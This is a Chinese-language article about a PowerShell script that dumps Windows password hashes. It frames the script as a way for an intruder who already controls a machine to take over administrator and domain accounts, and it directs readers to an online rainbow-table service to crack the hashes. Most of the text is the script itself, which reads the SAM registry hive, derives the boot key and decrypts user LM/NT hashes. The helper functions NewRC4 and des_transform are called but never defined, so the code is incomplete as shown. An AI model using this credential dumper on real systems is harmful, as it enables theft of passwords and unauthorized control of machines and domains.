PowerShell小技巧之獲取Windows系統(tǒng)密碼Hash

更新時間：2014年10月12日 14:11:16 投稿：hebedich

這篇文章主要介紹了使用PowerShell獲取Windows系統(tǒng)密碼Hash的小技巧，非常的實(shí)用,需要的朋友可以參考下

當(dāng)你拿到了系統(tǒng)控制權(quán)之后如何才能更長的時間內(nèi)控制已經(jīng)拿到這臺機(jī)器呢？作為白帽子，已經(jīng)在對手防線上撕開一個口子，如果你需要進(jìn)一步擴(kuò)大戰(zhàn)果，你首先需要做的就是潛伏下來，收集更多的信息便于你判斷，便于有更大的收獲。用什么方法才能有盡可能高的權(quán)限，同時能更有效的隱藏自己，是留webshell，留后門，種木馬還是Rootkit？webshell，哪怕是一句話木馬都很容易被管理員清除，放了木馬，也容易被有經(jīng)驗(yàn)的管理員查出，不管是早期自己創(chuàng)建進(jìn)程，進(jìn)程被干掉就完了，還是注入進(jìn)程的木馬，或者是以服務(wù)自啟動的木馬，哪怕是替換次要的系統(tǒng)服務(wù)自己啟動的木馬，隱蔽性都太差了。不管后門留的如何完美，木馬免殺做的多好，最終還是做不到不留任何痕跡。

那什么方法才能達(dá)到目的，又不容易被發(fā)現(xiàn)呢？以管理員的身份來管理服務(wù)器不就行了么？不管管理員是用3389、pcanywhere、還是radmin管理服務(wù)器，獲取他的密碼，以他的身份進(jìn)入系統(tǒng)不就得了，如果是域管理員密碼，整個域都會在你的控制之下了。獲取密碼的方法除了網(wǎng)絡(luò)嗅探，還可以獲取密碼Hash后通過彩虹表進(jìn)行攻擊，本文將會介紹通過PowerShell獲取Windows系統(tǒng)密碼Hash的方法，有何密碼Hash就離拿到密碼不遠(yuǎn)了。

首先介紹一下windows密碼Hash：

早期SMB協(xié)議在網(wǎng)絡(luò)上傳輸明文口令。后來出現(xiàn)"LAN Manager Challenge/Response"驗(yàn)證機(jī)制，簡稱LM，它是如此簡單以至很容易被破解。微軟提出了WindowsNT挑戰(zhàn)/響應(yīng)驗(yàn)證機(jī)制，稱之為NTLM?，F(xiàn)在已經(jīng)有了更新的NTLMv2以及Kerberos驗(yàn)證體系。Windows加密過的密碼口令，我們稱之為hash（中文：哈希），Windows的系統(tǒng)密碼hash默認(rèn)情況下一般由兩部分組成：第一部分是LM-hash，第二部分是NTLM-hash。

NTLM-Hash與LM-Hash算法相比，明文口令大小寫敏感，但無法根據(jù)NTLM-Hash判斷原始明文口令是否小于8字節(jié)，擺脫了魔術(shù)字符串"KGS!@#$%"。MD4是真正的單向哈希函數(shù)，窮舉做為數(shù)據(jù)源出現(xiàn)的明文，難度較大。問題在于，微軟一味強(qiáng)調(diào)NTLM-Hash的強(qiáng)度高，卻避而不談一個事實(shí)，為了保持向后兼容性，NTLM-Hash缺省總是與LM-Hash一起使用的。這意味著NTLM-Hash強(qiáng)調(diào)再高也是無助于安全的，相反潛在損害著安全性。增加NTLM-Hash后，首先利用LM-Hash的弱點(diǎn)窮舉出原始明文口令的大小寫不敏感版本，再利用NTLM-Hash修正出原始明文口令的大小寫敏感版本。

Windows系統(tǒng)下的hash密碼格式為：用戶名稱:RID:LM-HASH值:NT-HASH值，例如：

Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示
用戶名稱為：Administrator
RID為：500
LM-HASH值為：C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值為：683020925C5D8569C23AA724774CE6CC

如果你知道這個用戶的hash密碼了，拿著C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在線查詢網(wǎng)站http://www.objectif-securite.ch/en/ophcrack.php查一下很容易就能得到密碼。

下面直接上代碼，然后對代碼簡單做一個解釋，最后演示一下執(zhí)行效果。

復(fù)制代碼代碼如下:

function Get-WinPassHashes
{
<# Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
    # Get windows password hash and returns the hash list
    #.Example
    #   Get-WinPassHashes
    #
    #>

    [CmdletBinding()]
    Param ()
function LoadApi
{
    $oldErrorAction = $global:ErrorActionPreference;
    $global:ErrorActionPreference = "SilentlyContinue";
    $test = [PowerDump.Native];
    $global:ErrorActionPreference = $oldErrorAction;
    if ($test)
    {
        # already loaded
        return;
     }

$code = @'
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;

namespace PowerDump
{
    public class Native
    {
    [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
     public static extern int RegOpenKeyEx(
        int hKey,
        string subKey,
        int ulOptions,
        int samDesired,
        out int hkResult);

    [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
    extern public static int RegEnumKeyEx(
        int hkey,
        int index,
        StringBuilder lpName,
        ref int lpcbName,
        int reserved,
        StringBuilder lpClass,
        ref int lpcbClass,
        out long lpftLastWriteTime);

    [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
    extern public static int RegQueryInfoKey(
        int hkey,
        StringBuilder lpClass,
        ref int lpcbClass,
        int lpReserved,
        out int lpcSubKeys,
        out int lpcbMaxSubKeyLen,
        out int lpcbMaxClassLen,
        out int lpcValues,
        out int lpcbMaxValueNameLen,
        out int lpcbMaxValueLen,
        out int lpcbSecurityDescriptor,
        IntPtr lpftLastWriteTime);

    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern int RegCloseKey(
        int hKey);

}
} // end namespace PowerDump

    public class Shift {
        public static int   Right(int x,   int count) { return x >> count; }
        public static uint Right(uint x, int count) { return x >> count; }
        public static long Right(long x, int count) { return x >> count; }
        public static ulong Right(ulong x, int count) { return x >> count; }
        public static int    Left(int x,   int count) { return x << count; }
        public static uint   Left(uint x, int count) { return x << count; }
        public static long   Left(long x, int count) { return x << count; }
        public static ulong Left(ulong x, int count) { return x << count; }
    }
'@

   $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
   $dllName = [PsObject].Assembly.Location
   $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
   $assemblies = @("System.dll", $dllName)
   $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
   $compilerParameters.GenerateInMemory = $true
   $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
   if($compilerResults.Errors.Count -gt 0) {
     $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
   }

}

$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);

function sid_to_key($sid)
{
    $s1 = @();
    $s1 += [char]($sid -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
    $s1 += $s1[0];
    $s1 += $s1[1];
    $s1 += $s1[2];
    $s2 = @();
    $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
    $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
    return ,((str_to_key $s1),(str_to_key $s2));
}

function str_to_key($s)
{
    $key = @();
    $key += [Shift]::Right([int]($s[0]), 1 );
    $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
    $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
    $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
    $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
    $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
    $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
    $key += $([int]($s[6]) -band 0x7F);
    0..7 | %{
        $key[$_] = [Shift]::Left($key[$_], 1);
        $key[$_] = $odd_parity[$key[$_]];
        }
    return ,$key;
}

function des_encrypt([byte[]]$data, [byte[]]$key)
{
return ,(des_transform $data $key $true)
}

function des_decrypt([byte[]]$data, [byte[]]$key)
{
return ,(des_transform $data $key $false)
}

function Get-RegKeyClass([string]$key, [string]$subkey)
{
    switch ($Key) {
        "HKCR" { $nKey = 0x80000000} #HK Classes Root
        "HKCU" { $nKey = 0x80000001} #HK Current User
        "HKLM" { $nKey = 0x80000002} #HK Local Machine
        "HKU" { $nKey = 0x80000003} #HK Users
        "HKCC" { $nKey = 0x80000005} #HK Current Config
        default {
            throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
        }
    }
    $KEYQUERYVALUE = 0x1;
    $KEYREAD = 0x19;
    $KEYALLACCESS = 0x3F;
    $result = "";
    [int]$hkey=0
    if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
    {
        $classVal = New-Object Text.Stringbuilder 1024
        [int]$len = 1024
        if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
            [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
        {
            $result = $classVal.ToString()
        }
        else
        {
            Write-Error "RegQueryInfoKey failed";
        }
        [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
    }
    else
    {
        Write-Error "Cannot open key";
    }
    return $result;
}

function Get-BootKey
{
    $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
    $b = new-object byte[] $($s.Length/2);
    0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
    $b2 = new-object byte[] 16;
    0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
    return ,$b2;
}

function Get-HBootKey
{
    param([byte[]]$bootkey);
    $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
    $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
    $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
    if (-not $k) {return $null}
    [byte[]]$F = $k.GetValue("F");
    if (-not $F) {return $null}
    $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
    $rc4 = NewRC4 $rc4key;
    return ,($rc4.encrypt($F[0x80..0x9F]));
}

function Get-UserName([byte[]]$V)
{
    if (-not $V) {return $null};
    $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
    $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
    return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
}

function Get-UserHashes($u, [byte[]]$hbootkey)
{
    [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
    if ($u.HashOffset + 0x28 -lt $u.V.Length)
    {
        $lm_hash_offset = $u.HashOffset + 4;
        $nt_hash_offset = $u.HashOffset + 8 + 0x10;
        $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
        $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
    {
        $nt_hash_offset = $u.HashOffset + 8;
        $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
}

function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
{
    [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
    # LM Hash
    if ($enc_lm_hash)
    {
        $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
    }

    # NT Hash
    if ($enc_nt_hash)
    {
        $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
    }

return ,($lmhash,$nthash)
}

function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
{
    $deskeys = sid_to_key $rid;
    $md5 = [Security.Cryptography.MD5]::Create();
    $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
    $rc4 = NewRC4 $rc4_key;
    $obfkey = $rc4.encrypt($enc_hash);
    $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) +
        (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
    return ,$hash;
}

function Get-UserKeys
{
    ls HKLM:\SAM\SAM\Domains\Account\Users |
        where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
            Add-Member AliasProperty KeyName PSChildName -PassThru |
            Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
            Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
}

function DumpHashes
{
    LoadApi
    $bootkey = Get-BootKey;
    $hbootKey = Get-HBootKey $bootkey;
    Get-UserKeys | %{
        $hashes = Get-UserHashes $_ $hBootKey;
        "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
            [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
            [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
    }
}
DumpHashes
}

代碼中定義的函數(shù)Get-WinPassHashes中定義了多個函數(shù)，在函數(shù)的最后調(diào)用DumpHashes作為入口函數(shù)。
運(yùn)行效果如下所示